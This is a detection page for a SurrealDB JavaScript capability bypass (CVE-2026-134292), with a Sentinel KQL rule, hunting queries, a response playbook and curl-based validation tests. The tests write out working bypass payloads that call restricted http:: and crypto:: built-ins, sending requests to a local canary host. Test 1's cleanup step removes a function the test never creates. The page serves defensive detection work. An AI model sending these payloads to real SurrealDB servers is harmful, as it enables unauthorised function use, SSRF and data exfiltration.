Skip to content
CVE-2026-134292 Microsoft Sentinel · KQL

Detect SurrealDB Embedded JavaScript Function Capability Bypass (CVE-2026-134292) in Microsoft Sentinel

Detects potential exploitation of CVE-2026-134292, a capability check bypass (CWE-862, CVSS 9.3) in SurrealDB versions 1.0.0 before 4.0.0. The embedded JavaScript scripting engine's surrealdb.functions bridge calls internal built-in functions without re-applying the configured function capability checks. An authenticated user denied access to restricted built-ins in SurrealQL can call them from within a JavaScript function body and bypass the server's function-capability enforcement. Detection focuses on SurrealQL/HTTP activity that defines or invokes JavaScript functions and on the downstream network effects of bypassed built-ins.

MITRE ATT&CK

Tactic
Stealth Execution

KQL Detection Query

Microsoft Sentinel (KQL)
kusto
// df00tech DF00-6f10b6fa17 · https://df00tech.com/detections/CVE-2026-134292 · licence: https://df00tech.com/detections/licence
let surrealPorts = dynamic([8000, 8080, 443]);
union isfuzzy=true
(
  // SurrealDB server process emitting script-engine function activity in logs ingested as syslog/container logs
  Syslog
  | where ProcessName has "surreal" or SyslogMessage has "surrealdb"
  | where SyslogMessage has_any ("function::script", "surrealdb.functions", "js function", "capability", "http::get", "http::post")
  | where SyslogMessage has_any ("DEFINE FUNCTION", "RETURN function", "<js>", "function() {")
  | project TimeGenerated, Computer, ProcessName, SyslogMessage
),
(
  // HTTP requests to the SurrealDB /sql or /rpc endpoints carrying JavaScript function bodies
  W3CIISLog
  | where csUriStem in~ ("/sql", "/rpc", "/key")
  | where csUriQuery has_any ("function()", "surrealdb.functions", "http::", "<js>")
  | project TimeGenerated, Computer=sComputerName, cIP=cIP, csUriStem, csUriQuery, scStatus
)
| sort by TimeGenerated desc
high severity medium confidence

Surfaces SurrealDB server log lines and HTTP API requests that define or execute embedded JavaScript functions invoking restricted built-in bridges (notably http::*), the core primitive of the capability bypass.

Data Sources

SyslogIIS/Reverse-proxy logsContainer stdout logs

Required Tables

SyslogW3CIISLog

False Positives & Tuning

  • Legitimate applications that define SurrealDB JavaScript functions as part of normal schema design
  • Internal developers testing scripting features in a non-production SurrealDB instance
  • Reverse proxies logging benign /sql queries that merely mention 'function' in field names

Other platforms for CVE-2026-134292


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 SurrealDB JS function invoking http built-in via bridge

    Expected signal: SurrealDB server log line referencing surrealdb.functions and http::get; outbound connection attempt to 127.0.0.1:9999 from the surreal process.

  2. Test 2 DEFINE FUNCTION with embedded JS calling restricted built-in

    Expected signal: DEFINE FUNCTION log event containing <js> body and surrealdb.functions.crypto:: reference.

  3. Test 3 SurrealDB RPC JS scripting invocation

    Expected signal: Reverse-proxy/access log for POST /rpc with surrealdb.functions and http::post in the body; SurrealDB log of JS execution.


Response Playbook

Triage

  1. Confirm the SurrealDB server version: versions 1.0.0 up to (but not including) 4.0.0 are vulnerable. Check the running binary with `surreal version` or the /version HTTP endpoint.
  2. Determine whether the embedded JavaScript scripting engine is enabled and whether function capabilities (allow/deny lists) are configured; the bypass only matters when restricted built-ins are supposed to be denied.
  3. Review the flagged query/log line: identify which built-in (http::, crypto::, etc.) was invoked through the surrealdb.functions bridge and whether it corresponds to a function the capability policy intended to deny.
  4. Identify the authenticated principal / source IP that submitted the JavaScript function and whether it is an expected application identity.

Containment

  1. Upgrade SurrealDB to 4.0.0 or later, where the capability check is re-applied in the JS functions bridge.
  2. As an interim mitigation, disable the embedded JavaScript scripting engine (do not start the server with scripting enabled) or enforce `--deny-functions` / capability flags and restrict network egress from the SurrealDB host.
  3. Rotate any credentials, API keys, or secrets that may have been reachable via bypassed crypto::/http:: built-ins.

Evidence Collection

  1. Capture the full SurrealQL statement(s) and JavaScript function bodies from server logs and any reverse-proxy /sql and /rpc access logs.
  2. Preserve outbound network connection logs from the SurrealDB host for the relevant window to assess http:: exfiltration or SSRF.
  3. Export the SurrealDB configuration (capability flags, scripting setting) and version metadata.

Escalation Criteria

  • !Escalate to incident response if a bypassed http:: call reached an internal or external host, indicating SSRF or data exfiltration.
  • !Escalate if the invoking principal is unexpected or the function was defined outside a sanctioned deployment process.
  • !Escalate if the affected instance holds sensitive data and scripting with capability restrictions was supposed to be enforced.

Investigation Guide

Forensic Artifacts

  • >SurrealDB server logs containing DEFINE FUNCTION / <js> statements and surrealdb.functions bridge calls
  • >Reverse-proxy or IIS access logs for /sql and /rpc endpoints
  • >Host network connection records showing egress from the surreal process

Tuning Guidance

Baseline the set of SurrealDB JavaScript functions legitimately defined by your applications and allow-list them by function name/hash or defining principal. Raise severity when the invoking identity is unexpected or when a bypassed http:: call is followed by egress to a non-allowlisted destination. Suppress alerts from known staging/test SurrealDB instances where scripting is intentionally enabled without capability restrictions.


Hunting Queries

Hunt for any SurrealDB JavaScript function invoking restricted built-ins through the bridge over a wide time window.

Hunting — KQL
kql
// df00tech DF00-6f10b6fa17 · https://df00tech.com/detections/CVE-2026-134292 · licence: https://df00tech.com/detections/licence
Syslog | where SyslogMessage has "surrealdb.functions" and SyslogMessage has_any ("http::", "crypto::") | project TimeGenerated, Computer, SyslogMessage
Hunting — SPL
spl
``` df00tech DF00-6f10b6fa17 · https://df00tech.com/detections/CVE-2026-134292 · licence: https://df00tech.com/detections/licence ```
index=db sourcetype=surrealdb:log "surrealdb.functions" ("http::" OR "crypto::") | stats count by host, _raw

Atomic Red Team Tests

Test 1 SurrealDB JS function invoking http built-in via bridge
linux

Defines and runs a SurrealQL JavaScript function that calls an http:: built-in through the surrealdb.functions bridge to simulate the capability bypass.

Command

bash
curl -s -X POST http://127.0.0.1:8000/sql -u root:root -H 'Accept: application/json' -H 'surreal-ns: test' -H 'surreal-db: test' --data "RETURN function() { return await surrealdb.functions['http::get']('http://127.0.0.1:9999/canary'); };"

Cleanup

bash
curl -s -X POST http://127.0.0.1:8000/sql -u root:root -H 'surreal-ns: test' -H 'surreal-db: test' --data 'REMOVE FUNCTION fn::test;' 2>/dev/null || true

Expected Telemetry

SurrealDB server log line referencing surrealdb.functions and http::get; outbound connection attempt to 127.0.0.1:9999 from the surreal process.

Expected Detection

KQL/SPL rules match on the surrealdb.functions + http:: pattern; EQL sequence links the bridge call to egress.

Test 2 DEFINE FUNCTION with embedded JS calling restricted built-in
linux

Persists a JavaScript-backed SurrealDB function that invokes a crypto built-in through the bridge.

Command

bash
curl -s -X POST http://127.0.0.1:8000/sql -u root:root -H 'surreal-ns: test' -H 'surreal-db: test' --data "DEFINE FUNCTION fn::bypass() { RETURN function() { return surrealdb.functions['crypto::md5']('x'); }; };"

Cleanup

bash
curl -s -X POST http://127.0.0.1:8000/sql -u root:root -H 'surreal-ns: test' -H 'surreal-db: test' --data 'REMOVE FUNCTION fn::bypass;' 2>/dev/null || true

Expected Telemetry

DEFINE FUNCTION log event containing <js> body and surrealdb.functions.crypto:: reference.

Expected Detection

Log-based rules match DEFINE FUNCTION + surrealdb.functions + crypto:: pattern.

Test 3 SurrealDB RPC JS scripting invocation
linux

Uses the /rpc endpoint to send a JavaScript function that references the functions bridge, simulating API-driven exploitation.

Command

bash
curl -s -X POST http://127.0.0.1:8000/rpc -u root:root -H 'Content-Type: application/json' --data '{"method":"query","params":["RETURN function() { return surrealdb.functions[\"http::post\"](\"http://127.0.0.1:9999\", {}); };"]}'

Cleanup

bash
echo 'no persistent artifact to clean'

Expected Telemetry

Reverse-proxy/access log for POST /rpc with surrealdb.functions and http::post in the body; SurrealDB log of JS execution.

Expected Detection

IIS/W3C and SPL rules match /rpc requests carrying surrealdb.functions + http:: content.

Related Detections